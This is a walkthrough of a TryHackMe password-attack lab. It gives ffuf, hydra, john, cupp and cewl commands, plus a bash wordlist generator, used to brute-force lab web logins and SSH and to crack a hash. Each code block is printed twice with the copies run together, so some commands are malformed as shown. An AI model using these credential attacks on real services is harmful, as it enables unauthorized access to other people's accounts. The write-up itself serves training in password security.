August 22, 2026
TryHackMe Walkthrough: Checkmate
https://tryhackme.com/room/checkmate

By Nilton Silva
6 min read
Introduction
Marco Bianchi, a systems administrator, recently deployed several internal services, including a firewall console, an employee portal, a social platform, and SSH access to critical infrastructure. Due to tight deadlines and operational pressure, Marco reused weak, predictable, and pattern-based passwords across multiple systems.
The objective of this lab is to perform a password security assessment to identify weaknesses in Marco's authentication practices.
Exercise 1
In this first challenge, we are informed that Marco deployed a firewall at firewall.thm:5001 but kept the default credentials. With this information, I added this address to my /etc/hosts file to perform a brute-force attack on the credentials over HTTP.
To do this, I captured the request on the login site: I accessed the page and opened the Developer Tools (Ctrl + Shift + I). In the Network tab, I copied the login request as cURL (bash). With these parameters in hand, I set up my brute-force attack using ffuf and the rockyou.txt wordlist, successfully obtaining the first password.
sudo nano /etc/hosts
10.64.150.164 firewall.thm
ffuf -u http://firewall.thm:5001/login -w /usr/share/wordlists/rockyou.txt -d "username=admin&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' \
-H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://firewall.thm:5001' \
-H 'Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5001/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i'sudo nano /etc/hosts
10.64.150.164 firewall.thm
ffuf -u http://firewall.thm:5001/login -w /usr/share/wordlists/rockyou.txt -d "username=admin&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' \
-H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://firewall.thm:5001' \
-H 'Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5001/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Priority: u=0, i'
Exercise 2
For the second challenge, the clue indicated that Marco had used a password containing a common corporate keyword. I searched for a wordlist within the SecLists repository that might contain these words. I used the 100k-most-used-passwords-NCSC.txt file to perform the brute-force attack and managed to discover the second password.
ffuf -u http://firewall.thm:5002/login -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; session=eyJwcm9ncmVzcyI6Mn0.aokEeQ.n4tqeNq0_gkjoNn9k4or9UPWTq0' \
-H 'Origin: http://firewall.thm:5002' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5002/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'ffuf -u http://firewall.thm:5002/login -w /usr/share/wordlists/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; session=eyJwcm9ncmVzcyI6Mn0.aokEeQ.n4tqeNq0_gkjoNn9k4or9UPWTq0' \
-H 'Origin: http://firewall.thm:5002' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5002/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'
Exercise 3
In the third challenge, the clue suggested creating a wordlist based on Marco's personal information to gain access to his social media account. To achieve this, I used the cupp tool to generate a customized list. With ffuf, I performed another brute-force attack and obtained the third password.
cupp -i
First Name: Marco
Surname: Bianchi
Birthdate (DDMMYYYY): 14021995
Do you want to add some key words about the victim? Y/[N]: y
Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: employee,It Operations
Do you want to add special chars at the end of words? Y/[N]: y
Do you want to add some random numbers at the end of words? Y/[N]:y
Leet mode? (i.e. leet = 1337) Y/[N]: ycupp -i
First Name: Marco
Surname: Bianchi
Birthdate (DDMMYYYY): 14021995
Do you want to add some key words about the victim? Y/[N]: y
Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: employee,It Operations
Do you want to add special chars at the end of words? Y/[N]: y
Do you want to add some random numbers at the end of words? Y/[N]:y
Leet mode? (i.e. leet = 1337) Y/[N]: y
ffuf -u http://firewall.thm:5003/login -w marco.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; jobs_authed=1; session=eyJwcm9ncmVzcyI6M30.aokHtg.0re_Cmc1jmf--wKJCcknpO1DrJI' \
-H 'Origin: http://firewall.thm:5003' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5003/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'ffuf -u http://firewall.thm:5003/login -w marco.txt -d "username=marco&password=FUZZ" -fr "Invalid" -t 100 -c -X POST \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7' \
-H 'Cache-Control: max-age=0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'fw_authed=1; jobs_authed=1; session=eyJwcm9ncmVzcyI6M30.aokHtg.0re_Cmc1jmf--wKJCcknpO1DrJI' \
-H 'Origin: http://firewall.thm:5003' \
-H 'Proxy-Connection: keep-alive' \
-H 'Referer: http://firewall.thm:5003/login' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15'
Exercise 4
In this step, the goal was to find the original name of Marco's profile picture. The clue indicated that I should get the SHA-256 hash of the current image name and try to crack it. I inspected the page's source code, located the link redirecting to the image, and retrieved the file name's hash. After verifying that it was indeed an SHA-256 hash, I cracked it using john (John the Ripper) and discovered the image name, thereby completing the fourth challenge.
hashcat --identify hash_256.txt
john --list=formats | grep "256"
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash_256.txthashcat --identify hash_256.txt
john --list=formats | grep "256"
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash_256.txt
Exercise 5
The last challenge was the most work-intensive when it came to organizing the wordlist. The clue indicated that I should use the rules Marco shared on his social media to create a "strong" password: take a company keyword, capitalize the first letter, add a number, and finally, an exclamation mark.
Therefore, I used the cewl tool to capture all keywords from the jobs.thm:5002 site (seen in Exercise 2). Then, I created a Bash script to generate the probable passwords to access the target's SSH. It is worth noting that I restricted the numbers to build a smaller, more optimized wordlist. With the wordlist created, I ran the brute-force attack directly on the SSH service using hydra and obtained the final password.
Script used to generate the wordlist:
#!/bin/bash
# First, I save all words found on the company's page into a wordlist called cewl_words.txt
# I set the depth to level 2 and the minimum word length to 3 letters
cewl -d 2 -m 3 -w cewl_words.txt http://firewall.thm:5002
# Next, I extract the first letter of each word and convert it to uppercase
cat cewl_words.txt | cut -c 1 | tr 'a-z' 'A-Z' > inicio.txt
# Then, I extract the rest of the word and convert it all to lowercase
cat cewl_words.txt | cut -c 2-50 | tr 'A-Z' 'a-z' > final.txt
# I merge both files, forming the complete word with only the first letter capitalized
paste -d '\0' inicio.txt final.txt > wordlist.txt
# I create a 'while' loop reading all words from the wordlist and saving them into the 'senha' variable
while read -r senha; do
# I create a 'for' loop appending numbers from 1900 to 2026, followed by '!' at the end of the word
# All of this is saved into a new file called senhas.txt with all possibilities
for numero in {1900..2026}; do
echo "${senha}${numero}!" >> senhas.txt
done
done < wordlist.txt
# I remove all temporary files created earlier
rm cewl_words.txt inicio.txt final.txt wordlist.txt
hydra -l marco -P senhas.txt 10.66.132.74 -t 4 ssh -v -I#!/bin/bash
# First, I save all words found on the company's page into a wordlist called cewl_words.txt
# I set the depth to level 2 and the minimum word length to 3 letters
cewl -d 2 -m 3 -w cewl_words.txt http://firewall.thm:5002
# Next, I extract the first letter of each word and convert it to uppercase
cat cewl_words.txt | cut -c 1 | tr 'a-z' 'A-Z' > inicio.txt
# Then, I extract the rest of the word and convert it all to lowercase
cat cewl_words.txt | cut -c 2-50 | tr 'A-Z' 'a-z' > final.txt
# I merge both files, forming the complete word with only the first letter capitalized
paste -d '\0' inicio.txt final.txt > wordlist.txt
# I create a 'while' loop reading all words from the wordlist and saving them into the 'senha' variable
while read -r senha; do
# I create a 'for' loop appending numbers from 1900 to 2026, followed by '!' at the end of the word
# All of this is saved into a new file called senhas.txt with all possibilities
for numero in {1900..2026}; do
echo "${senha}${numero}!" >> senhas.txt
done
done < wordlist.txt
# I remove all temporary files created earlier
rm cewl_words.txt inicio.txt final.txt wordlist.txt
hydra -l marco -P senhas.txt 10.66.132.74 -t 4 ssh -v -I